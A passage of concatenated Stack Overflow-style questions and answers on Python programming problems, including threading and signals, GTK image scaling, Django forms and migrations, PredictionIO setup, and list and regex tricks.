net = caffe.Net(MODEL_FILE, PRETRAINED,caffe.TEST)
caffe.set_mode_cpu()
out = net.forward([input_image])
print out['prob']
Answer: Why don't you use the python wrapper class `Classifier`?
net = caffe.Classifier( MODEL_FILE, PRETRAINED )
net.predict( [input_image], oversmaple=False )
I'm not 100% sure, but I think LeNeT model expect gray scale image, you might
need to read the image
input_image = caffe.io.load_image(IMAGE_FILE, color=False)
|
Python SIGINT not catched
Question: I don't manage to understand why my SIGINT is never catched by the piece of
code below.
#!/usr/bin/env python
from threading import Thread
from time import sleep
import signal
class MyThread(Thread):
def __init__(self):
Thread.__init__(self)
self.running = True
def stop(self):
self.running = False
def run(self):
while self.running:
for i in range(500):
col = i**i
print col
sleep(0.01)
global threads
threads = []
for w in range(150):
threads.append(MyThread())
def stop(s, f):
for t in threads:
t.stop()
signal.signal(signal.SIGINT, stop)
for t in threads:
t.start()
for t in threads:
t.join()
To clean this code I would prefer try/except the join() and closing all
threads in case of exception, would that work?
Answer: One of the problems with multithreading in python is that `join()` more or
less disables signals.
This is because the signal can only be delivered to the main thread, but the
main thread is already busy with performing the `join()` and the join is not
interruptible.
You can deduce this from the documentation of the `signal` module
> Some care must be taken if both signals and threads are used in the same
> program. The fundamental thing to remember in using signals and threads
> simultaneously is: always perform signal() operations in the main thread of
> execution. Any thread can perform an alarm(), getsignal(), pause(),
> setitimer() or getitimer(); only the main thread can set a new signal
> handler, and **the main thread will be the only one to receive signals**
> (this is enforced by the Python signal module, even if the underlying thread
> implementation supports sending signals to individual threads). This means
> that signals can’t be used as a means of inter-thread communication. Use
> locks instead.
You can work your way around it, by busy-looping over the join operation:
for t in threads:
while t.isAlive():
t.join(timeout=1)
This is, however, none to efficient:
> The workaround of calling join() with a timeout has a drawback: Python's
> threading wait routine polls 20 times a second when given any timeout. All
> this polling can mean lots of CPU interrupts/wakeups on an otherwise idle
> laptop and drain the battery faster.
Some more details are provided here:
[Python program with thread can't catch
CTRL+C](http://stackoverflow.com/questions/19652446/python-program-with-
thread-cant-catch-ctrlc)
Bug reports for this problem with a discussion of the underlying issue can be
found here:
<https://bugs.python.org/issue1167930>
<https://bugs.python.org/issue1171023>
|
Automatically updating GET request python
Question: I have a exchange rate request that I would like to update every second. As of
now I have to re-load the program to refresh the rate. How would I go about
doing this in Python?
Any help would be appreciated, thanks in advance..
script:
import oandapy
oanda = oandapy.API(environment="practice", access_token="xxxxxxxxxxxx")
response = oanda.get_prices(instruments="EUR_USD")
prices = response.get("prices")
asking_price = prices[0].get("ask")
stop = asking_price - .001
Per answer:
while True:
response = oanda.get_prices(instruments="EUR_USD")
prices = response.get("prices")
asking_price = prices[0].get("ask")
stop = asking_price - .001
time.sleep(1)
Answer: The general method is to wrap the entire thing in an infinite loop, and wait
between requests:
while True:
# ... do and print request
time.sleep(1) # then wait one second
Make sure that your API access token allows sending a request every second.
* * *
However, after a quick Google I found that the API you're using supports
streaming rates: <https://github.com/oanda/oandapy#rates-streaming>
|
python error "ValueError: Invalid vertices array"
Question: I'm running the following code and get the following error for making the
plot. When I print the cov variable, the numbers in it have single quotes
around them. I'm assuming this is the problem? When I try to plot x and y, it
works just fine. I'm a new python user. Any suggestions? Thanks!
#!/bin/python
import matplotlib.pyplot as plt
import matplotlib.cm as cm
import numpy as np
from sys import argv
#from numpy import array
#array = numpy.float64(array)
script, filename = argv
file = open(filename)
pos = []
cov = []
for line in file:
if (line.split()[0])=='1':
ch = int(line.split()[0])
#adjpos = int(line.split()[1])
pos.append(line.split()[1])
cov.append(line.split()[2])
file.close()
print cov
x = [0, 1, 2, 3]
y = [5, 10, 5, 5]
print x
print y
fig = plt.figure(figsize=(16,3),edgecolor='w')
plt.scatter(pos,cov,marker='.',s=1)
plt.show()
Traceback (most recent call last):
File "/Users/eflannery/Dropbox/plotSamFlags.py", line 37, in <module>
plt.scatter(pos,cov,marker='.',s=1)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/matplotlib/pyplot.py", line 2557, in scatter
ret = ax.scatter(x, y, s, c, marker, cmap, norm, vmin, vmax, alpha, linewidths, faceted, verts, **kwargs)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/matplotlib/axes.py", line 5876, in scatter
self.add_collection(collection)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/matplotlib/axes.py", line 1445, in add_collection
self.update_datalim(collection.get_datalim(self.transData))
File "/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/matplotlib/collections.py", line 160, in get_datalim
offsets = transOffset.transform_non_affine(offsets)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/matplotlib/transforms.py", line 1925, in transform_non_affine
self._a.transform(points))
File "/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/matplotlib/transforms.py", line 1415, in transform
return affine_transform(points, mtx)
ValueError: Invalid vertices array.
Answer: The numbers need to be converted to a type that matplotlib can use; right now
it just makes a list of strings, as `split()` returns a list of strings. You
can fix this by calling `int()` (or `float()`, if the numbers aren't all
integers) to convert the strings when you read the file, which you already did
in the assignment to `ch`:
for line in file:
if (line.split()[0])=='1':
ch = int(line.split()[0])
pos.append(int(line.split()[1]))
cov.append(int(line.split()[2]))
|
How to document Matlab project with multiple classes using sphinxcontrib-matlabdomain?
Question: I tried to document a larger Matlab project using Sphinx and the
sphinxcontrib-matlabdomain package. It works fine for a single folder that
stores all .m files. However my project contains multiple classes stored in
separate folders such as:
project
|-- matfiles
| |-- @class1
| | |-- class1.m
| | |-- method1.m
| | |-- method2.m
| | +-- method1.m
| |-- @class2
| | |-- class2.m
| | |-- methodA.m
| | |-- methodB.m
| | +-- methodC.m
| +-- function
| |-- fun1.m
| |-- fun2.m
| +-- fun3.m
+-- doc
|-- conf.py
+-- index.rst
I adde the following lines to `conf.py`:
matlab_src_dir = os.path.abspath('..')
extensions = [
'sphinx.ext.autodoc',
'sphinxcontrib.matlab',
]
primary_domain = 'mat'
And I added the following lines to `index.rst`:
.. module:: matfiles
.. automethod:: class1.method1
I got the following error:
Exception occurred:
File "/Library/Python/2.7/site-packages/sphinxcontrib/mat_documenters.py", line 788, in import_object
if self.object.attrs.get('Static'):
AttributeError: 'NoneType' object has no attribute 'attrs'
The full traceback has been saved in /var/folders/70/g0lr37wn60gbbymnsks_t5vm0000gn/T/sphinx-err-uD8qpe.log, if you want to report the issue to the developers.
Please also report this if it was a user error, so that a better error message can be provided next time.
A bug report can be filed in the tracker at <https://github.com/sphinx-doc/sphinx/issues>. Thanks!
| reading sources... [100%] index
So my question is, is there a way to document multi class Matlab projects
where class methods are saved in a folder with name @class?
Answer: I believe this issue has been resolved in the latest version, [sphinxcontrib-
matlabdomain-0.2.7](https://pypi.python.org/pypi/sphinxcontrib-matlabdomain),
which autodocuments class methods with attributes defined in separate files of
a `@classfolders`. Let me know if it's still an issue.
|
Django/Python: form data doesn't get stored in database
Question: Django 1.8 / Python 3.4
I wanna add data from an html-form via a Django view named "add" to my
database. However, for some reason this just doesn't happen and I can't figure
out what's wrong. Presumably the mistake is in the view's code, but what
exactly do I need to change?
models.py
from django.db import models
from model_utils import Choices
class Entry(models.Model):
user = models.CharField(max_length=50)
title = models.CharField(max_length=200)
description = models.TextField()
due_date = models.DateField('Date')
due_time = models.TimeField('Time')
STATUS = Choices('Open', 'Done')
status = models.CharField(choices=STATUS, default=STATUS.Open, max_length=4)
def __unicode__(self):
return u"%s %s %s %s %s" % (self.user, self.title, self.description, self.expiry, self.status)
def expiry(self):
return u"%s %s" % (self.due_date, self.due_time)
The interesting part of my add.html
<td><input type="text" name="title"></td>
<td><input type="text" name="description"></td>
<td><input type="text" name="due_date"></td>
<td><input type="text" name="due_time"></td>
<td>
<select name="status" size="1" selected value="Open">
<option>Open</option>
<option>Done</option>
</select>
</td>
forms.py
from django import forms
from django.forms.widgets import TextInput
class EntryForm(forms.Form):
title = forms.CharField(max_length=200)
description = forms.widgets.TextInput()
due_date = forms.DateField()
due_time = forms.TimeField()
status = forms.ChoiceField(choices=[(x, x) for x in range(1, 2)])
And the relevant view in my views.py
from django import forms
from django.shortcuts import render
from django.shortcuts import redirect
from website.list.forms import EntryForm
def add(request):
if request.method == "POST":
form = EntryForm(request.POST)
if form.is_valid():
new_entry = form.save()
new_entry.save()
return redirect('website')
else:
form = EntryForm()
return render(request,'add.html', {'form': form})
Any help is appreciated!
* * *
[EDIT]
So, this is what my add.html looks like now:
<form action="." method="post">
{% csrf_token %}
{{ form }}
<br><input type="submit" value="Send"/>
<br><br><a href="{% url 'overview' %}">Cancel</a>
</form>
And the slightly edited views.py again:
from django import forms
from django.shortcuts import render
from django.shortcuts import redirect
from www.todolist.forms import EntryForm
from django.contrib.auth.models import User
def add(request):
if request.method == "POST":
form = EntryForm(request.POST)
if form.is_valid())
form.save()
return redirect('website')
else:
form = EntryForm()
return render(request,'add.html', {'form': form})
Answer: Figured it out ... This is what forms.py has to look like in order for the
save() function to work in the view:
class EntryForm(forms.ModelForm):
CHOICES = (
('1', 'Open'),
('2', 'Done'),
)
title = forms.CharField(max_length=200)
description = forms.CharField(widget=forms.Textarea)
due_date = forms.DateField()
due_time = forms.TimeField()
status = forms.ChoiceField(choices=CHOICES)
class Meta:
model = Entry
fields = '__all__'
The important things to notice are "ModelForm" instead of just "Form" and the
class Meta information.
|
pyGtk: Image prevents window resize
Question: So I am attempting to make a GTK application using python, and I have run into
this issue where after I place an image on a window, I can increase the size
of the window, but not decrease it. Given that the purpose of this particular
window is to display a resizable image, this is rather bothersome.
I have extracted the relevant code which demonstrates this behavior below
#!/usr/bin/env python
from gi.repository import Gtk, GdkPixbuf
import sys
class ImageWindow(Gtk.Window):
def __init__(self, image_data):
Gtk.Window.__init__(self, title="image test")
if image_data and len(image_data) > 0:
self.loader = GdkPixbuf.PixbufLoader()
self.loader.write(image_data)
self.pixbuf = self.loader.get_pixbuf()
self.image = Gtk.Image.new_from_pixbuf(self.pixbuf)
else:
self.image = Gtk.Image.new()
self.add(self.image)
self.connect('delete-event', Gtk.main_quit)
win = ImageWindow(sys.stdin.read())
win.show_all()
Gtk.main()
If you pipe in nothing, the window resizes fine. Pipe in an image, and the
form clicks to the size of the image, and can resize bigger, but cannot resize
smaller.
Answer: So here is an example of a scaling image. The idea is that you put the image
in a Gtk.ScrolledWindow() and resize the image as soon as the window is
resized.:
#!/usr/bin/env python
from gi.repository import Gtk, GdkPixbuf, GLib
import sys
class ImageWindow(Gtk.Window):
def __init__(self, image_data):
Gtk.Window.__init__(self, title="image test")
self.connect('delete-event', Gtk.main_quit)
self.image = Gtk.Image()
scrolled_window = Gtk.ScrolledWindow()
scrolled_window.add(self.image)
self.add(scrolled_window)
if len(image_data) == 0:
return
self.loader = GdkPixbuf.PixbufLoader()
self.loader.write(image_data)
self.loader.close()
self.pixbuf = self.loader.get_pixbuf()
self.image.set_from_pixbuf(self.pixbuf)
width = self.pixbuf.get_width()
height = self.pixbuf.get_height()
self.dimension = float(width) / height
self.set_default_size(width, height)
self.connect('check-resize', self.on_resize)
def on_resize(self, window):
width, height = self.get_size()
if float(width) / height > self.dimension:
self.pixbuf = self.pixbuf.scale_simple(
self.dimension * height,
height,
GdkPixbuf.InterpType.NEAREST
)
else:
self.pixbuf = self.pixbuf.scale_simple(
width,
width / self.dimension,
GdkPixbuf.InterpType.NEAREST
)
GLib.idle_add(self.image.set_from_pixbuf, self.pixbuf)
win = ImageWindow(sys.stdin.read())
win.show_all()
Gtk.main()
As an alternative, you can load the pixbuf again from the loader and scale it
afterwards. This looks better if you make your image smaller and then larger
again but needs more processing:
def on_resize(self, window):
width, height = self.get_size()
self.pixbuf = self.loader.get_pixbuf()
if float(width) / height > self.dimension:
self.pixbuf = self.pixbuf.scale_simple(
self.dimension * height,
height,
GdkPixbuf.InterpType.BILINEAR
)
else:
self.pixbuf = self.pixbuf.scale_simple(
width,
width / self.dimension,
GdkPixbuf.InterpType.BILINEAR
)
GLib.idle_add(self.image.set_from_pixbuf, self.pixbuf)
|
Cyclic label update in Python
Question: I'm trying to get dynamic cyclic (every half a second) label updates from a
Webservice in Python where I parse a JSON string and return its contents to
the GUI (made with Glade 3.8.1).
I have started from a basic example and the code I've written so far looks
like this:
import sys
import json
import urllib2
import time
try:
import pygtk
pygtk.require("2.0")
except:
pass
try:
import gtk.glade
import gtk
except:
sys.exit(1)
class cRioHMI():
def on_MainWindow_destroy(self, data = None):
print "quit with cancel"
gtk.main_quit()
def on_gtk_quit_activate(self, data = None):
print "quit from menu"
gtk.main_quit()
def on_btnTest_clicked(self, widget):
print "Button Pressed"
def on_gtk_about_activate(self, data = None):
print "About Page Accessed"
self.response = self.about.run()
self.about.hide()
def __init__(self):
self.gladefile = "Assets/HMI.glade"
self.builder = gtk.Builder()
self.builder.add_from_file(self.gladefile)
self.builder.connect_signals(self)
self.window = self.builder.get_object("MainWindow")
self.about = self.builder.get_object("AboutDialogue")
self.templable = self.builder.get_object("lbl_Temperature")
self.window.show()
def update_Values(self, data = None):
response = urllib2.urlopen('http://10.10.10.11:8001/WebUI/Temperatures/GetTemperatures')
data = json.load(response)
temperature = data['Temperature2'][1]
self.templable.set_text(str(temperature))
time.sleep(.5)
if __name__ == "__main__":
HMI = cRioHMI()
gtk.main()
When I use the code from the update_Values method on a click event, the code
performs as expected
def on_btnTest_clicked(self, widget):
response = urllib2.urlopen('http://10.10.10.11:8001/WebUI/Temperatures/GetTemperatures')
data = json.load(response)
temperature = data['Temperature2'][1]
self.templable.set_text(str(temperature))
time.sleep(.5)
print "Button Pressed"
* but I would like to update multiple labels in a cyclic manner and still have event driven actions.
What is the best way to do that? Please note, that I'm new to python.
Answer: You can use `gobject.timeout_add` (see the documentation
[here](http://www.pygtk.org/pygtk2reference/gobject-functions.html#function-
gobject--timeout-add)).
So in your `__init__` you would have something like `gobject.timeout_add(1000,
self.updateValues)`. If you return False the timeout will not be called again.
You should also not use `time.sleep`. This is a blocking call. That means your
GUI will freeze as it cannot handle incoming events. The same thing will
happen with the `urllib2.urlopen` call, if it takes too much time. To prevent
this you can run updateValues in a separate Thread. Then you would have to use
`gobject.idle_add` to set the text of the label (see
[documentation](http://www.pygtk.org/pygtk2reference/gobject-
functions.html#function-gobject--idle-add)).
Here is a small example. It is just a counter (and would not need threading)
but I marked the place where your urllib2.urlopen would go with a comment:
#!/usr/bin/env python2
from threading import Thread
from pygtk import gtk, gobject
class Window(gtk.Window):
def __init__(self):
gtk.Window.__init__(self)
self.connect('delete-event', gtk.main_quit)
self.label = gtk.Label('1')
self.add(self.label)
gobject.timeout_add_seconds(1, self.threaded)
def threaded(self):
thread = Thread(target=self.updateValues)
thread.start()
return True
def updateValues(self):
# urllib.urlopen calls
n = int(self.label.get_text())
gobject.idle_add(self.label.set_text, str(n + 1))
win = Window()
win.show_all()
gobject.threads_init()
gtk.main()
|
Prediction io pio train says appId does not exist
Question: I'm trying out the latest version of prediction.io (version 0.9.1). I have
installed prediction io along with its dependencies by following the tutorial
in this page: <http://docs.prediction.io/install/install-linux/>
I've added the path to the `predictionio/bin` directory into my `.bashrc` file
so I could use the command line tools from my terminal:
export PATH=$PATH:/home/wern/PredictionIO-0.9.1/bin
export JAVA_HOME="/usr/lib/jvm/java-8-oracle"
I get the following when executing `pio-start-all`:
Starting Elasticsearch...
Starting HBase...
starting master, logging to /home/wern/hbase-0.98.11-hadoop2/bin/../logs/hbase-me-master-mycomputer.out
Waiting 10 seconds for HBase to fully initialize...
Starting PredictionIO Event Server...
Executing `java -version` returns the following:
java version "1.8.0_40"
Java(TM) SE Runtime Environment (build 1.8.0_40-b25)
Java HotSpot(TM) 64-Bit Server VM (build 25.40-b25, mixed mode)
Executing `pio status` returns the following:
PredictionIO
Installed at: /home/me/PredictionIO-0.9.1
Version: 0.9.1
Apache Spark
Installed at: /home/wern/spark-1.2.1-bin-hadoop2.4
Version: 1.2.1 (meets minimum requirement of 1.2.0)
Storage Backend Connections
Verifying Meta Data Backend
Verifying Model Data Backend
Verifying Event Data Backend
[WARN] [NativeCodeLoader] Unable to load native-hadoop library for your platform... using builtin-java classes where applicable
Test write Event Store (App Id 0)
[INFO] [HBLEvents] The table predictionio_eventdata:events_0 doesn't exist yet. Creating now...
[INFO] [HBLEvents] Removing table predictionio_eventdata:events_0...
(sleeping 5 seconds for all messages to show up...)
Your system is all ready to go.
Next I get a generic template. I executed this command from the home directory
so I got a `RecommendationApp` directory when it was done:
pio template get PredictionIO/template-scala-parallel-recommendation RecommendationApp
Next I created a new prediction io app:
pio app new MyGenericRecommendationApp
This returns the following:
[WARN] [NativeCodeLoader] Unable to load native-hadoop library for your platform... using builtin-java classes where applicable
[INFO] [HBLEvents] The table predictionio_eventdata:events_3 doesn't exist yet. Creating now...
[INFO] [App$] Initialized Event Store for this app ID: 3.
[INFO] [App$] Created new app:
[INFO] [App$] Name: MyGenericRecommendationApp
[INFO] [App$] ID: 3
[INFO] [App$] Access Key: C7vfcipXd0baQcZYzqr73EwSPT2Bd0YW1OTLgEdlUA9FOeBja6dyBVIKaYnQbsUO
Next I navigate to the `RecommendationApp` engine directory and download the
sample data:
curl https://raw.githubusercontent.com/apache/spark/master/data/mllib/sample_movielens_data.txt --create-dirs -o data/sample_movielens_data.txt
Then I import it using python:
python data/import_eventserver.py --access_key C7vfcipXd0baQcZYzqr73EwSPT2Bd0YW1OTLgEdlUA9FOeBja6dyBVIKaYnQbsUO
This successfully imports the data.
Next I updated the `engine.json` file to match the ID of the app that I
created earlier.
"datasource": {
"params" : {
"appId": 3
}
},
Then I executed `pio build`. This took a while but it finally returned the
following:
[INFO] [Console$] Your engine is ready for training.
Finally here's where my issue is. Executing `pio train` results in the
follwing:
[INFO] [Console$] Using existing engine manifest JSON at /home/wern/RecommendationApp/manifest.json
[WARN] [NativeCodeLoader] Unable to load native-hadoop library for your platform... using builtin-java classes where applicable
[INFO] [RunWorkflow$] Submission command: /home/wern/spark-1.2.1-bin-hadoop2.4/bin/spark-submit --class io.prediction.workflow.CreateWorkflow --name PredictionIO Training: RTn3BZbRfxOlOkDQCHBmOaMBHTP1gmOg 92c46ac3197f8bf4696281a1f76eaaa943495d3f () --jars file:/home/wern/.pio_store/engines/RTn3BZbRfxOlOkDQCHBmOaMBHTP1gmOg/92c46ac3197f8bf4696281a1f76eaaa943495d3f/template-scala-parallel-recommendation-assembly-0.1-SNAPSHOT-deps.jar,file:/home/wern/.pio_store/engines/RTn3BZbRfxOlOkDQCHBmOaMBHTP1gmOg/92c46ac3197f8bf4696281a1f76eaaa943495d3f/template-scala-parallel-recommendation_2.10-0.1-SNAPSHOT.jar --files /home/wern/PredictionIO-0.9.1/conf/log4j.properties,/home/wern/PredictionIO-0.9.1/conf/hbase-site.xml --driver-class-path /home/wern/PredictionIO-0.9.1/conf:/home/wern/PredictionIO-0.9.1/conf /home/wern/PredictionIO-0.9.1/lib/pio-assembly-0.9.1.jar --env PIO_STORAGE_SOURCES_HBASE_TYPE=hbase,PIO_ENV_LOADED=1,PIO_STORAGE_SOURCES_HBASE_HOSTS=0,PIO_STORAGE_REPOSITORIES_METADATA_NAME=predictionio_metadata,PIO_FS_BASEDIR=/home/wern/.pio_store,PIO_STORAGE_SOURCES_ELASTICSEARCH_HOSTS=localhost,PIO_STORAGE_SOURCES_HBASE_HOME=/home/wern/hbase-0.98.11-hadoop2,PIO_HOME=/home/wern/PredictionIO-0.9.1,PIO_FS_ENGINESDIR=/home/wern/.pio_store/engines,PIO_STORAGE_SOURCES_HBASE_PORTS=0,PIO_STORAGE_SOURCES_ELASTICSEARCH_TYPE=elasticsearch,PIO_STORAGE_REPOSITORIES_METADATA_SOURCE=ELASTICSEARCH,PIO_STORAGE_REPOSITORIES_MODELDATA_SOURCE=LOCALFS,PIO_STORAGE_REPOSITORIES_EVENTDATA_NAME=predictionio_eventdata,PIO_STORAGE_SOURCES_ELASTICSEARCH_HOME=/home/wern/elasticsearch-1.4.4,PIO_FS_TMPDIR=/home/wern/.pio_store/tmp,PIO_STORAGE_REPOSITORIES_MODELDATA_NAME=pio_,PIO_STORAGE_SOURCES_LOCALFS_HOSTS=/home/wern/.pio_store/models,PIO_STORAGE_REPOSITORIES_EVENTDATA_SOURCE=HBASE,PIO_CONF_DIR=/home/wern/PredictionIO-0.9.1/conf,PIO_STORAGE_SOURCES_LOCALFS_PORTS=0,PIO_STORAGE_SOURCES_ELASTICSEARCH_PORTS=9300,PIO_STORAGE_SOURCES_LOCALFS_TYPE=localfs --engine-id RTn3BZbRfxOlOkDQCHBmOaMBHTP1gmOg --engine-version 92c46ac3197f8bf4696281a1f76eaaa943495d3f --engine-variant /home/wern/RecommendationApp/engine.json --verbosity 0
Spark assembly has been built with Hive, including Datanucleus jars on classpath
[WARN] [NativeCodeLoader] Unable to load native-hadoop library for your platform... using builtin-java classes where applicable
[INFO] [Engine] Extracting datasource params...
[INFO] [WorkflowUtils$] No 'name' is found. Default empty String will be used.
[INFO] [Engine] Datasource params: (,DataSourceParams(3))
[INFO] [Engine] Extracting preparator params...
[INFO] [Engine] Preparator params: (,Empty)
[INFO] [Engine] Extracting serving params...
[INFO] [Engine] Serving params: (,Empty)
[WARN] [Utils] Your hostname, fraukojiro resolves to a loopback address: 127.0.1.1; using 192.168.254.105 instead (on interface wlan0)
[WARN] [Utils] Set SPARK_LOCAL_IP if you need to bind to another address
[INFO] [Remoting] Starting remoting
[INFO] [Remoting] Remoting started; listening on addresses :[akka.tcp://[email protected]:37397]
[INFO] [Engine$] EngineWorkflow.train
[INFO] [Engine$] DataSource: com.wern.DataSource@653fb8d1
[INFO] [Engine$] Preparator: com.wern.Preparator@93501be
[INFO] [Engine$] AlgorithmList: List(com.wern.ALSAlgorithm@3c25cfe1)
[INFO] [Engine$] Data santiy check is on.
[ERROR] [HBPEvents] The appId 3 does not exist. Please use valid appId.
Exception in thread "main" java.lang.Exception: HBase table not found for appId 3.
at io.prediction.data.storage.hbase.HBPEvents.checkTableExists(HBPEvents.scala:54)
at io.prediction.data.storage.hbase.HBPEvents.find(HBPEvents.scala:70)
at com.wern.DataSource.readTraining(DataSource.scala:32)
at com.wern.DataSource.readTraining(DataSource.scala:18)
at io.prediction.controller.PDataSource.readTrainingBase(DataSource.scala:41)
at io.prediction.controller.Engine$.train(Engine.scala:518)
at io.prediction.controller.Engine.train(Engine.scala:147)
at io.prediction.workflow.CoreWorkflow$.runTrain(CoreWorkflow.scala:61)
at io.prediction.workflow.CreateWorkflow$.main(CreateWorkflow.scala:258)
at io.prediction.workflow.CreateWorkflow.main(CreateWorkflow.scala)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at org.apache.spark.deploy.SparkSubmit$.launch(SparkSubmit.scala:358)
at org.apache.spark.deploy.SparkSubmit$.main(SparkSubmit.scala:75)
at org.apache.spark.deploy.SparkSubmit.main(SparkSubmit.scala)
Basically it doesn't recognize the appId which I supplied. Executing `pio app
list` however shows that the ID is indeed 3.
[INFO] [App$] Name | ID | Access Key | Allowed Event(s)
[INFO] [App$] TestRecommendation | 2 | GJBuFYODWTwFBVQ2D2nbBFW5C0iKClNLEMbYGGhDGoZGEtLre62BLwLJlioTEeJP | (all)
[INFO] [App$] MyGenericRecommendationApp | 3 | C7vfcipXd0baQcZYzqr73EwSPT2Bd0YW1OTLgEdlUA9FOeBja6dyBVIKaYnQbsUO | (all)
[INFO] [App$] Finished listing 2 app(s).
Any ideas?
Answer: Looks like your question is already answered here
<https://groups.google.com/forum/#!topic/predictionio-user/W1P4T2tTreQ>
|
Django error: relation "users_user" does not exist
Question: I'm getting the following error during migration:
> django.db.utils.ProgrammingError: relation "users_user" does not exist
File "/Users/user/Documents/workspace/api/env/lib/python2.7/site-packages/django/db/backends/utils.py", line 79, in execute
return super(CursorDebugWrapper, self).execute(sql, params)
File "/Users/user/Documents/workspace/api/env/lib/python2.7/site-packages/django/db/backends/utils.py", line 64, in execute
return self.cursor.execute(sql, params)
File "/Users/user/Documents/workspace/api/env/lib/python2.7/site-packages/django/db/utils.py", line 97, in __exit__
six.reraise(dj_exc_type, dj_exc_value, traceback)
File "/Users/user/Documents/workspace/api/env/lib/python2.7/site-packages/django/db/backends/utils.py", line 62, in execute
return self.cursor.execute(sql)
This is my model:
from django.db import models
from django.contrib.auth.models import AbstractBaseUser, PermissionsMixin
from ..managers.user import UserManager
class User(AbstractBaseUser, PermissionsMixin):
# Email identifier, primary key, unique identifier for the user.
email = models.EmailField(verbose_name='email address', max_length=254, unique=True, db_index=True)
is_admin = models.BooleanField(default=False)
is_active = models.BooleanField(default=False)
objects = UserManager()
USERNAME_FIELD = 'email'
REQUIRED_FIELDS = []
class Meta:
verbose_name = 'User'
app_label = "users"
def __unicode__(self):
return self.email
@property
def get_full_name(self):
return self.email
@property
def get_short_name(self):
return self.email
def has_module_perms(self, app_label):
"""
Does the user have permissions to view the app `app_label`
"""
# Simplest possible answer: Yes, always
return True
@property
def is_staff(self):
# Simplest possible answer: All admins are staff
return self.is_admin
Settings:
AUTH_USER_MODEL = 'users.User'
Anything I have missed?
Answer: Inside your user app, you should have a folder `migrations`. It should only
contain `0001_initial.py` and `__init__.py`. Is that correct?
Try running `./manage.py sqlmigrate user 0001_initial` and see what it does,
because thats where the error comes from
|
Best algorithm to compare two lists in python
Question: I have two lists (list1 and list2) in python filled with an own datatype. I
want to compare these to lists and give all elements of these lists to
stdout(or somewhere else), but in a specific order(without sorting the lists
in any way).
List1 and List2 can have elements which are not in the other list, but can
also have elements which be in the other list. These elements, beeing in both
lists, should output at the same line. But the elements beeing only in one
list, should be in the right order too, at the end.
Example:
List1 = [A,B,C,D,F,H,G];
List2 = [A,C,D,E,H];
output should be:
List1 |List2
A A
B
C C
D D
E
F
H H
G
How can I "sort" in these way?
Answer:
import difflib, re
list_a = ['A', 'B', 'C', 'D', 'F', 'H', 'G']
list_b = ['A', 'C', 'D', 'E', 'H']
for i in difflib.Differ().compare(list_a, list_b):
differ_char, letter = re.match(r'([\s\-+]) ([A-Z])', i).groups()
choices = [' ' + letter, letter + ' ', letter + ' ' + letter]
print choices[['+', '-', ' '].index(differ_char)] # print lines
|
Algorithm to choose number of random numbers from list in python?
Question: I am looking for an efficient way (pseudocode will do) to choose a given
number of values randomly from the list preferably "Pythonic way". Values have
to come from unique indexes of the list
So for example:
list = [0,1,2,3,4,5,24]
def choose(number_of_values, list):
# method
return_val = choose(3, list)
# return_val = [2, 4, 3]
Answer: Its what that
[`random.sample`](https://docs.python.org/2/library/random.html#random.sample)
is for.
>>> import random
>>> random.sample([0,1,2,3,4,5,24],3)
[2, 24, 5]
|
Ignore additional keyword arguments in python
Question: Imagine I have a function like
def foo(x):
...
When I call it with the dictionary `{ 'x': 42, 'y': 23 }` as keyword arguments
I get an `TypeError`:
>>> foo(**{ 'x': 42, 'y': 23 })
...
TypeError: foo() got an unexpected keyword argument 'y'
Is there a good way to make a function call with keyword arguments where
additional keyword arguments are just ignored?
**My solution so far:** I can define a helper function:
import inspect
def call_with_kwargs(func, kwargs):
params = inspect.getargspec(func).args
return func(**{ k: v for k,v in kwargs.items() if k in params})
Now I can do
>>> call_with_kwargs(foo, { 'x': 42, 'y': 23 })
42
Is there a better way?
Answer: If altering your functions is fine, then just add a catch-all `**kw` argument
to it:
def foo(x, **kw):
# ...
and ignore whatever `kw` captured in the function.
|
File does not exist: /var/www/polls
Question: Content of example.wsgi file in /var/www
import os
import sys
import site
# Add the site-packages of the chosen virtualenv to work with
site.addsitedir('~/.virtualenvs/menv/local/lib/python2.7/site-packages')
# Add the app's directory to the PYTHONPATH
sys.path.append('/var/www/example')
sys.path.append('/var/www/example/example')
os.environ['DJANGO_SETTINGS_MODULE'] = 'example.settings'
# Activate your virtual env
activate_env=os.path.expanduser("~/.virtualenvs/menv/bin/activate_this.py")
execfile(activate_env, dict(__file__=activate_env))
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()
Content of example.conf
<VirtualHost *:80>
ServerAdmin [email protected]
ServerName example.redirectme.net
ServerAlias www.example.redirectme.net
WSGIScriptAlias / /var/www/example.wsgi
<Directory /var/www/polls>
Order deny,allow
Allow from all
</Directory>
</VirtualHost>
polls is the name of the app inside example project
Answer: If polls is the name of the app within the example project, your example.conf
file should probably have this line:
<Directory /var/www/example/polls>
instead of this one:
<Directory /var/www/polls>
|
How to find 6 digits in a string in python?
Question: An example string is `"CPLR_DUK10_772989_2"`. I want to pick out `"772989"`
specifically. I would imagine using `re.findall` is a good way to go about it,
however, I don't have a very good grasp on regular expression so I find myself
stumped on this one.
Here is a sample of code that I thought would work, until I looked at the full
list of strings, and saw that it definitely doesn't. I suppose I'm looking for
some more robustness!
for ad in Ads:
num = ''.join(re.findall(numbers,ad)[1:7])
ID.append(num)
ID = pd.Series(ID)
Other sample strings: `"Teb1_110765"`, `"PAN1_111572_5"`.
Answer: The regex you are looking for is
p = re.findall(r'_(\d{6})', ad)
This will match a six-digit number preceded by an underscore, and give you a
list of all matches (_should there be more than one_)
**Demo:**
>>> import re
>>> stringy = 'CPLR_DUK10_772989_2'
>>> re.findall(r'_(\d{6})', stringy)
['772989']
|
python:assignment of list item as true and false
Question: I have a Python list and I want to assign all possible combinations of `True`
and `False` values to all the elements of the list.
Suppose I have list `list1 = ['a', 'b']`, so I want a new list as
`[['t','t'],['t','f'],['f','t'],['f','f']]`, which are all the possible
combinations of `True` and `False` value of the given list item.
If I have `n` element in the given list then I should `2^n` element in my new
list and each of the inner lists should contain `n` element either as 't' or
